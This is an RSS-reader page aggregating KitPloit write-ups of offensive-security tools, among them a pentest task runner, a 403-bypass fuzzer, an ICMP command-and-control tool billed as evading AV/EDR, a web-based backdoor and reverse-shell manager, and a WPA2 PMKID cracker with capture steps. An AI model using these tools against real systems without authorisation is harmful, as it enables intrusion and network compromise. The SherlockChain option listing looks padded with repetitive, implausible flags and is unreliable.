FreshRSS

πŸ”’
❌ Secure Planet Training Courses Updated For 2019 - Click Here
There are new available articles, click to refresh the page.
Before yesterdayKitPloit - PenTest Tools!

Secator - The Pentester'S Swiss Knife

By: Zion3R


secator is a task and workflow runner used for security assessments. It supports dozens of well-known security tools and it is designed to improve productivity for pentesters and security researchers.


Features

  • Curated list of commands

  • Unified input options

  • Unified output schema

  • CLI and library usage

  • Distributed options with Celery

  • Complexity from simple tasks to complex workflows

  • Customizable


Supported tools

secator integrates the following tools:

Name Description Category
httpx Fast HTTP prober. http
cariddi Fast crawler and endpoint secrets / api keys / tokens matcher. http/crawler
gau Offline URL crawler (Alien Vault, The Wayback Machine, Common Crawl, URLScan). http/crawler
gospider Fast web spider written in Go. http/crawler
katana Next-generation crawling and spidering framework. http/crawler
dirsearch Web path discovery. http/fuzzer
feroxbuster Simple, fast, recursive content discovery tool written in Rust. http/fuzzer
ffuf Fast web fuzzer written in Go. http/fuzzer
h8mail Email OSINT and breach hunting tool. osint
dnsx Fast and multi-purpose DNS toolkit designed for running DNS queries. recon/dns
dnsxbrute Fast and multi-purpose DNS toolkit designed for running DNS queries (bruteforce mode). recon/dns
subfinder Fast subdomain finder. recon/dns
fping Find alive hosts on local networks. recon/ip
mapcidr Expand CIDR ranges into IPs. recon/ip
naabu Fast port discovery tool. recon/port
maigret Hunt for user accounts across many websites. recon/user
gf A wrapper around grep to avoid typing common patterns. tagger
grype A vulnerability scanner for container images and filesystems. vuln/code
dalfox Powerful XSS scanning tool and parameter analyzer. vuln/http
msfconsole CLI to access and work with the Metasploit Framework. vuln/http
wpscan WordPress Security Scanner vuln/multi
nmap Vulnerability scanner using NSE scripts. vuln/multi
nuclei Fast and customisable vulnerability scanner based on simple YAML based DSL. vuln/multi
searchsploit Exploit searcher. exploit/search

Feel free to request new tools to be added by opening an issue, but please check that the tool complies with our selection criterias before doing so. If it doesn't but you still want to integrate it into secator, you can plug it in (see the dev guide).

Installation

Installing secator

Pipx
pipx install secator
Pip
pip install secator
Bash
wget -O - https://raw.githubusercontent.com/freelabz/secator/main/scripts/install.sh | sh
Docker
docker run -it --rm --net=host -v ~/.secator:/root/.secator freelabz/secator --help
The volume mount -v is necessary to save all secator reports to your host machine, and--net=host is recommended to grant full access to the host network. You can alias this command to run it easier:
alias secator="docker run -it --rm --net=host -v ~/.secator:/root/.secator freelabz/secator"
Now you can run secator like if it was installed on baremetal:
secator --help
Docker Compose
git clone https://github.com/freelabz/secator
cd secator
docker-compose up -d
docker-compose exec secator secator --help

Note: If you chose the Bash, Docker or Docker Compose installation methods, you can skip the next sections and go straight to Usage.

Installing languages

secator uses external tools, so you might need to install languages used by those tools assuming they are not already installed on your system.

We provide utilities to install required languages if you don't manage them externally:

Go
secator install langs go
Ruby
secator install langs ruby

Installing tools

secator does not install any of the external tools it supports by default.

We provide utilities to install or update each supported tool which should work on all systems supporting apt:

All tools
secator install tools
Specific tools
secator install tools <TOOL_NAME>
For instance, to install `httpx`, use:
secator install tools httpx

Please make sure you are using the latest available versions for each tool before you run secator or you might run into parsing / formatting issues.

Installing addons

secator comes installed with the minimum amount of dependencies.

There are several addons available for secator:

worker Add support for Celery workers (see [Distributed runs with Celery](https://docs.freelabz.com/in-depth/distributed-runs-with-celery)).
secator install addons worker
google Add support for Google Drive exporter (`-o gdrive`).
secator install addons google
mongodb Add support for MongoDB driver (`-driver mongodb`).
secator install addons mongodb
redis Add support for Redis backend (Celery).
secator install addons redis
dev Add development tools like `coverage` and `flake8` required for running tests.
secator install addons dev
trace Add tracing tools like `memray` and `pyinstrument` required for tracing functions.
secator install addons trace
build Add `hatch` for building and publishing the PyPI package.
secator install addons build

Install CVEs

secator makes remote API calls to https://cve.circl.lu/ to get in-depth information about the CVEs it encounters. We provide a subcommand to download all known CVEs locally so that future lookups are made from disk instead:

secator install cves

Checking installation health

To figure out which languages or tools are installed on your system (along with their version):

secator health

Usage

secator --help


Usage examples

Run a fuzzing task (ffuf):

secator x ffuf http://testphp.vulnweb.com/FUZZ

Run a url crawl workflow:

secator w url_crawl http://testphp.vulnweb.com

Run a host scan:

secator s host mydomain.com

and more... to list all tasks / workflows / scans that you can use:

secator x --help
secator w --help
secator s --help

Learn more

To go deeper with secator, check out: * Our complete documentation * Our getting started tutorial video * Our Medium post * Follow us on social media: @freelabz on Twitter and @FreeLabz on YouTube



Damn-Vulnerable-Drone - An Intentionally Vulnerable Drone Hacking Simulator Based On The Popular ArduPilot/MAVLink Architecture, Providing A Realistic Environment For Hands-On Drone Hacking

By: Zion3R


The Damn Vulnerable Drone is an intentionally vulnerable drone hacking simulator based on the popular ArduPilot/MAVLink architecture, providing a realistic environment for hands-on drone hacking.


    About the Damn Vulnerable Drone


    What is the Damn Vulnerable Drone?

    The Damn Vulnerable Drone is a virtually simulated environment designed for offensive security professionals to safely learn and practice drone hacking techniques. It simulates real-world ArduPilot & MAVLink drone architectures and vulnerabilities, offering a hands-on experience in exploiting drone systems.

    Why was it built?

    The Damn Vulnerable Drone aims to enhance offensive security skills within a controlled environment, making it an invaluable tool for intermediate-level security professionals, pentesters, and hacking enthusiasts.

    Similar to how pilots utilize flight simulators for training, we can use the Damn Vulnerable Drone simulator to gain in-depth knowledge of real-world drone systems, understand their vulnerabilities, and learn effective methods to exploit them.

    The Damn Vulnerable Drone platform is open-source and available at no cost and was specifically designed to address the substantial expenses often linked with drone hardware, hacking tools, and maintenance. Its cost-free nature allows users to immerse themselves in drone hacking without financial concerns. This accessibility makes the Damn Vulnerable Drone a crucial resource for those in the fields of information security and penetration testing, promoting the development of offensive cybersecurity skills in a safe environment.

    How does it work?

    The Damn Vulnerable Drone platform operates on the principle of Software-in-the-Loop (SITL), a simulation technique that allows users to run drone software as if it were executing on an actual drone, thereby replicating authentic drone behaviors and responses.

    ArduPilot's SITL allows for the execution of the drone's firmware within a virtual environment, mimicking the behavior of a real drone without the need for physical hardware. This simulation is further enhanced with Gazebo, a dynamic 3D robotics simulator, which provides a realistic environment and physics engine for the drone to interact with. Together, ArduPilot's SITL and Gazebo lay the foundation for a sophisticated and authentic drone simulation experience.

    While the current Damn Vulnerable Drone setup doesn't mirror every drone architecture or configuration, the integrated tactics, techniques and scenarios are broadly applicable across various drone systems, models and communication protocols.

    Features

    • Docker-based Environment: Runs in a completely virtualized docker-based setup, making it accessible and safe for drone hacking experimentation.
    • Simulated Wireless Networking: Simulated Wifi (802.11) interfaces to practice wireless drone attacks.
    • Onboard Camera Streaming & Gimbal: Simulated RTSP drone onboard camera stream with gimbal and companion computer integration.
    • Companion Computer Web Interface: Companion Computer configuration management via web interface and simulated serial connection to Flight Controller.
    • QGroundControl/MAVProxy Integration: One-click QGroundControl UI launching (only supported on x86 architecture) with MAVProxy GCS integration.
    • MAVLink Router Integration: Telemetry forwarding via MAVLink Router on the Companion Computer Web Interface.
    • Dynamic Flight Logging: Fully dynamic Ardupilot flight bin logs stored on a simulated SD Card.
    • Management Web Console: Simple to use simulator management web console used to trigger scenarios and drone flight states.
    • Comprehensive Hacking Scenarios: Ideal for practicing a wide range of drone hacking techniques, from basic reconnaissance to advanced exploitation.
    • Detailed Walkthroughs: If you need help hacking against a particular scenario you can leverage the detailed walkthrough documentation as a spoiler.


    SherlockChain - A Streamlined AI Analysis Framework For Solidity, Vyper And Plutus Contracts

    By: Zion3R


    SherlockChain is a powerful smart contract analysis framework that combines the capabilities of the renowned Slither tool with advanced AI-powered features. Developed by a team of security experts and AI researchers, SherlockChain offers unparalleled insights and vulnerability detection for Solidity, Vyper and Plutus smart contracts.


    Key Features

    • Comprehensive Vulnerability Detection: SherlockChain's suite of detectors identifies a wide range of vulnerabilities, including high-impact issues like reentrancy, unprotected upgrades, and more.
    • AI-Powered Analysis: Integrated AI models enhance the accuracy and precision of vulnerability detection, providing developers with actionable insights and recommendations.
    • Seamless Integration: SherlockChain seamlessly integrates with popular development frameworks like Hardhat, Foundry, and Brownie, making it easy to incorporate into your existing workflow.
    • Intuitive Reporting: SherlockChain generates detailed reports with clear explanations and code snippets, helping developers quickly understand and address identified issues.
    • Customizable Analyses: The framework's flexible API allows users to write custom analyses and detectors, tailoring the tool to their specific needs.
    • Continuous Monitoring: SherlockChain can be integrated into your CI/CD pipeline, providing ongoing monitoring and alerting for your smart contract codebase.

    Installation

    To install SherlockChain, follow these steps:

    git clone https://github.com/0xQuantumCoder/SherlockChain.git
    cd SherlockChain
    pip install .

    AI-Powered Features

    SherlockChain's AI integration brings several advanced capabilities to the table:

    1. Intelligent Vulnerability Prioritization: AI models analyze the context and potential impact of detected vulnerabilities, providing developers with a prioritized list of issues to address.
    2. Automated Remediation Suggestions: The AI component suggests potential fixes and code modifications to address identified vulnerabilities, accelerating the remediation process.
    3. Proactive Security Auditing: SherlockChain's AI models continuously monitor your codebase, proactively identifying emerging threats and providing early warning signals.
    4. Natural Language Interaction: Users can interact with SherlockChain using natural language, allowing them to query the tool, request specific analyses, and receive detailed responses. he --help command in the SherlockChain framework provides a comprehensive overview of all the available options and features. It includes information on:

    5. Vulnerability Detection: The --detect and --exclude-detectors options allow users to specify which vulnerability detectors to run, including both built-in and AI-powered detectors.

    6. Reporting: The --report-format, --report-output, and various --report-* options control how the analysis results are reported, including the ability to generate reports in different formats (JSON, Markdown, SARIF, etc.).
    7. Filtering: The --filter-* options enable users to filter the reported issues based on severity, impact, confidence, and other criteria.
    8. AI Integration: The --ai-* options allow users to configure and control the AI-powered features of SherlockChain, such as prioritizing high-impact vulnerabilities, enabling specific AI detectors, and managing AI model configurations.
    9. Integration with Development Frameworks: Options like --truffle and --truffle-build-directory facilitate the integration of SherlockChain into popular development frameworks like Truffle.
    10. Miscellaneous Options: Additional options for compiling contracts, listing detectors, and customizing the analysis process.

    The --help command provides a detailed explanation of each option, its purpose, and how to use it, making it a valuable resource for users to quickly understand and leverage the full capabilities of the SherlockChain framework.

    Example usage:

    sherlockchain --help

    This will display the comprehensive usage guide for the SherlockChain framework, including all available options and their descriptions.

    usage: sherlockchain [-h] [--version] [--solc-remaps SOLC_REMAPS] [--solc-settings SOLC_SETTINGS]
    [--solc-version SOLC_VERSION] [--truffle] [--truffle-build-directory TRUFFLE_BUILD_DIRECTORY]
    [--truffle-config-file TRUFFLE_CONFIG_FILE] [--compile] [--list-detectors]
    [--list-detectors-info] [--detect DETECTORS] [--exclude-detectors EXCLUDE_DETECTORS]
    [--print-issues] [--json] [--markdown] [--sarif] [--text] [--zip] [--output OUTPUT]
    [--filter-paths FILTER_PATHS] [--filter-paths-exclude FILTER_PATHS_EXCLUDE]
    [--filter-contracts FILTER_CONTRACTS] [--filter-contracts-exclude FILTER_CONTRACTS_EXCLUDE]
    [--filter-severity FILTER_SEVERITY] [--filter-impact FILTER_IMPACT]
    [--filter-confidence FILTER_CONFIDENCE] [--filter-check-suicidal]
    [--filter-check-upgradeable] [--f ilter-check-erc20] [--filter-check-erc721]
    [--filter-check-reentrancy] [--filter-check-gas-optimization] [--filter-check-code-quality]
    [--filter-check-best-practices] [--filter-check-ai-detectors] [--filter-check-all]
    [--filter-check-none] [--check-all] [--check-suicidal] [--check-upgradeable]
    [--check-erc20] [--check-erc721] [--check-reentrancy] [--check-gas-optimization]
    [--check-code-quality] [--check-best-practices] [--check-ai-detectors] [--check-none]
    [--check-all-detectors] [--check-all-severity] [--check-all-impact] [--check-all-confidence]
    [--check-all-categories] [--check-all-filters] [--check-all-options] [--check-all]
    [--check-none] [--report-format {json,markdown,sarif,text,zip}] [--report-output OUTPUT]
    [--report-severity REPORT_SEVERITY] [--report-impact R EPORT_IMPACT]
    [--report-confidence REPORT_CONFIDENCE] [--report-check-suicidal]
    [--report-check-upgradeable] [--report-check-erc20] [--report-check-erc721]
    [--report-check-reentrancy] [--report-check-gas-optimization] [--report-check-code-quality]
    [--report-check-best-practices] [--report-check-ai-detectors] [--report-check-all]
    [--report-check-none] [--report-all] [--report-suicidal] [--report-upgradeable]
    [--report-erc20] [--report-erc721] [--report-reentrancy] [--report-gas-optimization]
    [--report-code-quality] [--report-best-practices] [--report-ai-detectors] [--report-none]
    [--report-all-detectors] [--report-all-severity] [--report-all-impact]
    [--report-all-confidence] [--report-all-categories] [--report-all-filters]
    [--report-all-options] [- -report-all] [--report-none] [--ai-enabled] [--ai-disabled]
    [--ai-priority-high] [--ai-priority-medium] [--ai-priority-low] [--ai-priority-all]
    [--ai-priority-none] [--ai-confidence-high] [--ai-confidence-medium] [--ai-confidence-low]
    [--ai-confidence-all] [--ai-confidence-none] [--ai-detectors-all] [--ai-detectors-none]
    [--ai-detectors-specific AI_DETECTORS_SPECIFIC] [--ai-detectors-exclude AI_DETECTORS_EXCLUDE]
    [--ai-models-path AI_MODELS_PATH] [--ai-models-update] [--ai-models-download]
    [--ai-models-list] [--ai-models-info] [--ai-models-version] [--ai-models-check]
    [--ai-models-upgrade] [--ai-models-remove] [--ai-models-clean] [--ai-models-reset]
    [--ai-models-backup] [--ai-models-restore] [--ai-models-export] [--ai-models-import]
    [--ai-models-config AI_MODELS_CONFIG] [--ai-models-config-update] [--ai-models-config-reset]
    [--ai-models-config-export] [--ai-models-config-import] [--ai-models-config-list]
    [--ai-models-config-info] [--ai-models-config-version] [--ai-models-config-check]
    [--ai-models-config-upgrade] [--ai-models-config-remove] [--ai-models-config-clean]
    [--ai-models-config-reset] [--ai-models-config-backup] [--ai-models-config-restore]
    [--ai-models-config-export] [--ai-models-config-import] [--ai-models-config-path AI_MODELS_CONFIG_PATH]
    [--ai-models-config-file AI_MODELS_CONFIG_FILE] [--ai-models-config-url AI_MODELS_CONFIG_URL]
    [--ai-models-config-name AI_MODELS_CONFIG_NAME] [--ai-models-config-description AI_MODELS_CONFIG_DESCRIPTION]
    [--ai-models-config-version-major AI_MODELS_CONFIG_VERSION_MAJOR]
    [--ai-models-config- version-minor AI_MODELS_CONFIG_VERSION_MINOR]
    [--ai-models-config-version-patch AI_MODELS_CONFIG_VERSION_PATCH]
    [--ai-models-config-author AI_MODELS_CONFIG_AUTHOR]
    [--ai-models-config-license AI_MODELS_CONFIG_LICENSE]
    [--ai-models-config-url-documentation AI_MODELS_CONFIG_URL_DOCUMENTATION]
    [--ai-models-config-url-source AI_MODELS_CONFIG_URL_SOURCE]
    [--ai-models-config-url-issues AI_MODELS_CONFIG_URL_ISSUES]
    [--ai-models-config-url-changelog AI_MODELS_CONFIG_URL_CHANGELOG]
    [--ai-models-config-url-support AI_MODELS_CONFIG_URL_SUPPORT]
    [--ai-models-config-url-website AI_MODELS_CONFIG_URL_WEBSITE]
    [--ai-models-config-url-logo AI_MODELS_CONFIG_URL_LOGO]
    [--ai-models-config-url-icon AI_MODELS_CONFIG_URL_ICON]
    [--ai-models-config-url-banner AI_MODELS_CONFIG_URL_BANNER]
    [--ai-models-config-url-screenshot AI_MODELS_CONFIG_URL_SCREENSHOT]
    [--ai-models-config-url-video AI_MODELS_CONFIG_URL_VIDEO]
    [--ai-models-config-url-demo AI_MODELS_CONFIG_URL_DEMO]
    [--ai-models-config-url-documentation-api AI_MODELS_CONFIG_URL_DOCUMENTATION_API]
    [--ai-models-config-url-documentation-user AI_MODELS_CONFIG_URL_DOCUMENTATION_USER]
    [--ai-models-config-url-documentation-developer AI_MODELS_CONFIG_URL_DOCUMENTATION_DEVELOPER]
    [--ai-models-config-url-documentation-faq AI_MODELS_CONFIG_URL_DOCUMENTATION_FAQ]
    [--ai-models-config-url-documentation-tutorial AI_MODELS_CONFIG_URL_DOCUMENTATION_TUTORIAL]
    [--ai-models-config-url-documentation-guide AI_MODELS_CONFIG_URL_DOCUMENTATION_GUIDE]
    [--ai-models-config-url-documentation-whitepaper AI_MODELS_CONFIG_URL_DOCUMENTATION_WHITEPAPER]
    [--ai-models-config-url-documentation-roadmap AI_MODELS_CONFIG_URL_DOCUMENTATION_ROADMAP]
    [--ai-models-config-url-documentation-blog AI_MODELS_CONFIG_URL_DOCUMENTATION_BLOG]
    [--ai-models-config-url-documentation-community AI_MODELS_CONFIG_URL_DOCUMENTATION_COMMUNITY]

    This comprehensive usage guide provides information on all the available options and features of the SherlockChain framework, including:

    • Vulnerability detection options: --detect, --exclude-detectors
    • Reporting options: --report-format, --report-output, --report-*
    • Filtering options: --filter-*
    • AI integration options: --ai-*
    • Integration with development frameworks: --truffle, --truffle-build-directory
    • Miscellaneous options: --compile, --list-detectors, --list-detectors-info

    By reviewing this comprehensive usage guide, you can quickly understand how to leverage the full capabilities of the SherlockChain framework to analyze your smart contracts and identify potential vulnerabilities. This will help you ensure the security and reliability of your DeFi protocol before deployment.

    AI-Powered Detectors

    Num Detector What it Detects Impact Confidence
    1 ai-anomaly-detection Detect anomalous code patterns using advanced AI models High High
    2 ai-vulnerability-prediction Predict potential vulnerabilities using machine learning High High
    3 ai-code-optimization Suggest code optimizations based on AI-driven analysis Medium High
    4 ai-contract-complexity Assess contract complexity and maintainability using AI Medium High
    5 ai-gas-optimization Identify gas-optimizing opportunities with AI Medium Medium
    ## Detectors
    Num Detector What it Detects Impact Confidence
    1 abiencoderv2-array Storage abiencoderv2 array High High
    2 arbitrary-send-erc20 transferFrom uses arbitrary from High High
    3 array-by-reference Modifying storage array by value High High
    4 encode-packed-collision ABI encodePacked Collision High High
    5 incorrect-shift The order of parameters in a shift instruction is incorrect. High High
    6 multiple-constructors Multiple constructor schemes High High
    7 name-reused Contract's name reused High High
    8 protected-vars Detected unprotected variables High High
    9 public-mappings-nested Public mappings with nested variables High High
    10 rtlo Right-To-Left-Override control character is used High High
    11 shadowing-state State variables shadowing High High
    12 suicidal Functions allowing anyone to destruct the contract High High
    13 uninitialized-state Uninitialized state variables High High
    14 uninitialized-storage Uninitialized storage variables High High
    15 unprotected-upgrade Unprotected upgradeable contract High High
    16 codex Use Codex to find vulnerabilities. High Low
    17 arbitrary-send-erc20-permit transferFrom uses arbitrary from with permit High Medium
    18 arbitrary-send-eth Functions that send Ether to arbitrary destinations High Medium
    19 controlled-array-length Tainted array length assignment High Medium
    20 controlled-delegatecall Controlled delegatecall destination High Medium
    21 delegatecall-loop Payable functions using delegatecall inside a loop High Medium
    22 incorrect-exp Incorrect exponentiation High Medium
    23 incorrect-return If a return is incorrectly used in assembly mode. High Medium
    24 msg-value-loop msg.value inside a loop High Medium
    25 reentrancy-eth Reentrancy vulnerabilities (theft of ethers) High Medium
    26 return-leave If a return is used instead of a leave. High Medium
    27 storage-array Signed storage integer array compiler bug High Medium
    28 unchecked-transfer Unchecked tokens transfer High Medium
    29 weak-prng Weak PRNG High Medium
    30 domain-separator-collision Detects ERC20 tokens that have a function whose signature collides with EIP-2612's DOMAIN_SEPARATOR() Medium High
    31 enum-conversion Detect dangerous enum conversion Medium High
    32 erc20-interface Incorrect ERC20 interfaces Medium High
    33 erc721-interface Incorrect ERC721 interfaces Medium High
    34 incorrect-equality Dangerous strict equalities Medium High
    35 locked-ether Contracts that lock ether Medium High
    36 mapping-deletion Deletion on mapping containing a structure Medium High
    37 shadowing-abstract State variables shadowing from abstract contracts Medium High
    38 tautological-compare Comparing a variable to itself always returns true or false, depending on comparison Medium High
    39 tautology Tautology or contradiction Medium High
    40 write-after-write Unused write Medium High
    41 boolean-cst Misuse of Boolean constant Medium Medium
    42 constant-function-asm Constant functions using assembly code Medium Medium
    43 constant-function-state Constant functions changing the state Medium Medium
    44 divide-before-multiply Imprecise arithmetic operations order Medium Medium
    45 out-of-order-retryable Out-of-order retryable transactions Medium Medium
    46 reentrancy-no-eth Reentrancy vulnerabilities (no theft of ethers) Medium Medium
    47 reused-constructor Reused base constructor Medium Medium
    48 tx-origin Dangerous usage of tx.origin Medium Medium
    49 unchecked-lowlevel Unchecked low-level calls Medium Medium
    50 unchecked-send Unchecked send Medium Medium
    51 uninitialized-local Uninitialized local variables Medium Medium
    52 unused-return Unused return values Medium Medium
    53 incorrect-modifier Modifiers that can return the default value Low High
    54 shadowing-builtin Built-in symbol shadowing Low High
    55 shadowing-local Local variables shadowing Low High
    56 uninitialized-fptr-cst Uninitialized function pointer calls in constructors Low High
    57 variable-scope Local variables used prior their declaration Low High
    58 void-cst Constructor called not implemented Low High
    59 calls-loop Multiple calls in a loop Low Medium
    60 events-access Missing Events Access Control Low Medium
    61 events-maths Missing Events Arithmetic Low Medium
    62 incorrect-unary Dangerous unary expressions Low Medium
    63 missing-zero-check Missing Zero Address Validation Low Medium
    64 reentrancy-benign Benign reentrancy vulnerabilities Low Medium
    65 reentrancy-events Reentrancy vulnerabilities leading to out-of-order Events Low Medium
    66 return-bomb A low level callee may consume all callers gas unexpectedly. Low Medium
    67 timestamp Dangerous usage of block.timestamp Low Medium
    68 assembly Assembly usage Informational High
    69 assert-state-change Assert state change Informational High
    70 boolean-equal Comparison to boolean constant Informational High
    71 cyclomatic-complexity Detects functions with high (> 11) cyclomatic complexity Informational High
    72 deprecated-standards Deprecated Solidity Standards Informational High
    73 erc20-indexed Un-indexed ERC20 event parameters Informational High
    74 function-init-state Function initializing state variables Informational High
    75 incorrect-using-for Detects using-for statement usage when no function from a given library matches a given type Informational High
    76 low-level-calls Low level calls Informational High
    77 missing-inheritance Missing inheritance Informational High
    78 naming-convention Conformity to Solidity naming conventions Informational High
    79 pragma If different pragma directives are used Informational High
    80 redundant-statements Redundant statements Informational High
    81 solc-version Incorrect Solidity version Informational High
    82 unimplemented-functions Unimplemented functions Informational High
    83 unused-import Detects unused imports Informational High
    84 unused-state Unused state variables Informational High
    85 costly-loop Costly operations in a loop Informational Medium
    86 dead-code Functions that are not used Informational Medium
    87 reentrancy-unlimited-gas Reentrancy vulnerabilities through send and transfer Informational Medium
    88 similar-names Variable names are too similar Informational Medium
    89 too-many-digits Conformance to numeric notation best practices Informational Medium
    90 cache-array-length Detects for loops that use length member of some storage array in their loop condition and don't modify it. Optimization High
    91 constable-states State variables that could be declared constant Optimization High
    92 external-function Public function that could be declared external Optimization High
    93 immutable-states State variables that could be declared immutable Optimization High
    94 var-read-using-this Contract reads its own variable using this Optimization High


    BypassFuzzer - Fuzz 401/403/404 Pages For Bypasses

    By: Zion3R


    The original 403fuzzer.py :)

    Fuzz 401/403ing endpoints for bypasses

    This tool performs various checks via headers, path normalization, verbs, etc. to attempt to bypass ACL's or URL validation.

    It will output the response codes and length for each request, in a nicely organized, color coded way so things are reaable.

    I implemented a "Smart Filter" that lets you mute responses that look the same after a certain number of times.

    You can now feed it raw HTTP requests that you save to a file from Burp.

    Follow me on twitter! @intrudir


    Usage

    usage: bypassfuzzer.py -h

    Specifying a request to test

    Best method: Feed it a raw HTTP request from Burp!

    Simply paste the request into a file and run the script!
    - It will parse and use cookies & headers from the request. - Easiest way to authenticate for your requests

    python3 bypassfuzzer.py -r request.txt

    Using other flags

    Specify a URL

    python3 bypassfuzzer.py -u http://example.com/test1/test2/test3/forbidden.html

    Specify cookies to use in requests:
    some examples:

    --cookies "cookie1=blah"
    -c "cookie1=blah; cookie2=blah"

    Specify a method/verb and body data to send

    bypassfuzzer.py -u https://example.com/forbidden -m POST -d "param1=blah&param2=blah2"
    bypassfuzzer.py -u https://example.com/forbidden -m PUT -d "param1=blah&param2=blah2"

    Specify custom headers to use with every request Maybe you need to add some kind of auth header like Authorization: bearer <token>

    Specify -H "header: value" for each additional header you'd like to add:

    bypassfuzzer.py -u https://example.com/forbidden -H "Some-Header: blah" -H "Authorization: Bearer 1234567"

    Smart filter feature!

    Based on response code and length. If it sees a response 8 times or more it will automatically mute it.

    Repeats are changeable in the code until I add an option to specify it in flag

    NOTE: Can't be used simultaneously with -hc or -hl (yet)

    # toggle smart filter on
    bypassfuzzer.py -u https://example.com/forbidden --smart

    Specify a proxy to use

    Useful if you wanna proxy through Burp

    bypassfuzzer.py -u https://example.com/forbidden --proxy http://127.0.0.1:8080

    Skip sending header payloads or url payloads

    # skip sending headers payloads
    bypassfuzzer.py -u https://example.com/forbidden -sh
    bypassfuzzer.py -u https://example.com/forbidden --skip-headers

    # Skip sending path normailization payloads
    bypassfuzzer.py -u https://example.com/forbidden -su
    bypassfuzzer.py -u https://example.com/forbidden --skip-urls

    Hide response code/length

    Provide comma delimited lists without spaces. Examples:

    # Hide response codes
    bypassfuzzer.py -u https://example.com/forbidden -hc 403,404,400

    # Hide response lengths of 638
    bypassfuzzer.py -u https://example.com/forbidden -hl 638

    TODO

    • [x] Automatically check other methods/verbs for bypass
    • [x] absolute domain attack
    • [ ] Add HTTP/2 support
    • [ ] Looking for ideas. Ping me on twitter! @intrudir


    PingRAT - Secretly Passes C2 Traffic Through Firewalls Using ICMP Payloads

    By: Zion3R


    PingRAT secretly passes C2 traffic through firewalls using ICMP payloads.

    Features:

    • Uses ICMP for Command and Control
    • Undetectable by most AV/EDR solutions
    • Written in Go

    Installation:

    Download the binaries

    or build the binaries and you are ready to go:

    $ git clone https://github.com/Nemesis0U/PingRAT.git
    $ go build client.go
    $ go build server.go

    Usage:

    Server:

    ./server -h
    Usage of ./server:
    -d string
    Destination IP address
    -i string
    Listener (virtual) Network Interface (e.g. eth0)

    Client:

    ./client -h
    Usage of ./client:
    -d string
    Destination IP address
    -i string
    (Virtual) Network Interface (e.g., eth0)



    C2-Cloud - The C2 Cloud Is A Robust Web-Based C2 Framework, Designed To Simplify The Life Of Penetration Testers

    By: Zion3R


    The C2 Cloud is a robust web-based C2 framework, designed to simplify the life of penetration testers. It allows easy access to compromised backdoors, just like accessing an EC2 instance in the AWS cloud. It can manage several simultaneous backdoor sessions with a user-friendly interface.

    C2 Cloud is open source. Security analysts can confidently perform simulations, gaining valuable experience and contributing to the proactive defense posture of their organizations.

    Reverse shells support:

    1. Reverse TCP
    2. Reverse HTTP
    3. Reverse HTTPS (configure it behind an LB)
    4. Telegram C2

    Demo

    C2 Cloud walkthrough: https://youtu.be/hrHT_RDcGj8
    Ransomware simulation using C2 Cloud: https://youtu.be/LKaCDmLAyvM
    Telegram C2: https://youtu.be/WLQtF4hbCKk

    Key Features

    πŸ”’ Anywhere Access: Reach the C2 Cloud from any location.
    πŸ”„ Multiple Backdoor Sessions: Manage and support multiple sessions effortlessly.
    πŸ–±οΈ One-Click Backdoor Access: Seamlessly navigate to backdoors with a simple click.
    πŸ“œ Session History Maintenance: Track and retain complete command and response history for comprehensive analysis.

    Tech Stack

    πŸ› οΈ Flask: Serving web and API traffic, facilitating reverse HTTP(s) requests.
    πŸ”— TCP Socket: Serving reverse TCP requests for enhanced functionality.
    🌐 Nginx: Effortlessly routing traffic between web and backend systems.
    πŸ“¨ Redis PubSub: Serving as a robust message broker for seamless communication.
    πŸš€ Websockets: Delivering real-time updates to browser clients for enhanced user experience.
    πŸ’Ύ Postgres DB: Ensuring persistent storage for seamless continuity.

    Architecture

    Application setup

    • Management port: 9000
    • Reversse HTTP port: 8000
    • Reverse TCP port: 8888

    • Clone the repo

    • Optional: Update chait_id, bot_token in c2-telegram/config.yml
    • Execute docker-compose up -d to start the containers Note: The c2-api service will not start up until the database is initialized. If you receive 500 errors, please try after some time.

    Credits

    Inspired by Villain, a CLI-based C2 developed by Panagiotis Chartas.

    License

    Distributed under the MIT License. See LICENSE for more information.

    Contact



    Noia - Simple Mobile Applications Sandbox File Browser Tool

    By: Zion3R


    Noia is a web-based tool whose main aim is to ease the process of browsing mobile applications sandbox and directly previewing SQLite databases, images, and more. Powered by frida.re.

    Please note that I'm not a programmer, but I'm probably above the median in code-savyness. Try it out, open an issue if you find any problems. PRs are welcome.


    Installation & Usage

    npm install -g noia
    noia

    Features

    • Explore third-party applications files and directories. Noia shows you details including the access permissions, file type and much more.

    • View custom binary files. Directly preview SQLite databases, images, and more.

    • Search application by name.

    • Search files and directories by name.

    • Navigate to a custom directory using the ctrl+g shortcut.

    • Download the application files and directories for further analysis.

    • Basic iOS support

    and more


    Setup

    Desktop requirements:

    • node.js LTS and npm
    • Any decent modern desktop browser

    Noia is available on npm, so just type the following command to install it and run it:

    npm install -g noia
    noia

    Device setup:

    Noia is powered by frida.re, thus requires Frida to run.

    Rooted Device

    See: * https://frida.re/docs/android/ * https://frida.re/docs/ios/

    Non-rooted Device

    • https://koz.io/using-frida-on-android-without-root/
    • https://github.com/sensepost/objection/wiki/Patching-Android-Applications
    • https://nowsecure.com/blog/2020/01/02/how-to-conduct-jailed-testing-with-frida/

    Security Warning

    This tool is not secure and may include some security vulnerabilities so make sure to isolate the webpage from potential hackers.

    LICENCE

    MIT



    Pmkidcracker - A Tool To Crack WPA2 Passphrase With PMKID Value Without Clients Or De-Authentication

    By: Zion3R


    This program is a tool written in Python to recover the pre-shared key of a WPA2 WiFi network without any de-authentication or requiring any clients to be on the network. It targets the weakness of certain access points advertising the PMKID value in EAPOL message 1.


    Program Usage

    python pmkidcracker.py -s <SSID> -ap <APMAC> -c <CLIENTMAC> -p <PMKID> -w <WORDLIST> -t <THREADS(Optional)>

    NOTE: apmac, clientmac, pmkid must be a hexstring, e.g b8621f50edd9

    How PMKID is Calculated

    The two main formulas to obtain a PMKID are as follows:

    1. Pairwise Master Key (PMK) Calculation: passphrase + salt(ssid) => PBKDF2(HMAC-SHA1) of 4096 iterations
    2. PMKID Calculation: HMAC-SHA1[pmk + ("PMK Name" + bssid + clientmac)]

    This is just for understanding, both are already implemented in find_pw_chunk and calculate_pmkid.

    Obtaining the PMKID

    Below are the steps to obtain the PMKID manually by inspecting the packets in WireShark.

    *You may use Hcxtools or Bettercap to quickly obtain the PMKID without the below steps. The manual way is for understanding.

    To obtain the PMKID manually from wireshark, put your wireless antenna in monitor mode, start capturing all packets with airodump-ng or similar tools. Then connect to the AP using an invalid password to capture the EAPOL 1 handshake message. Follow the next 3 steps to obtain the fields needed for the arguments.

    Open the pcap in WireShark:

    • Filter with wlan_rsna_eapol.keydes.msgnr == 1 in WireShark to display only EAPOL message 1 packets.
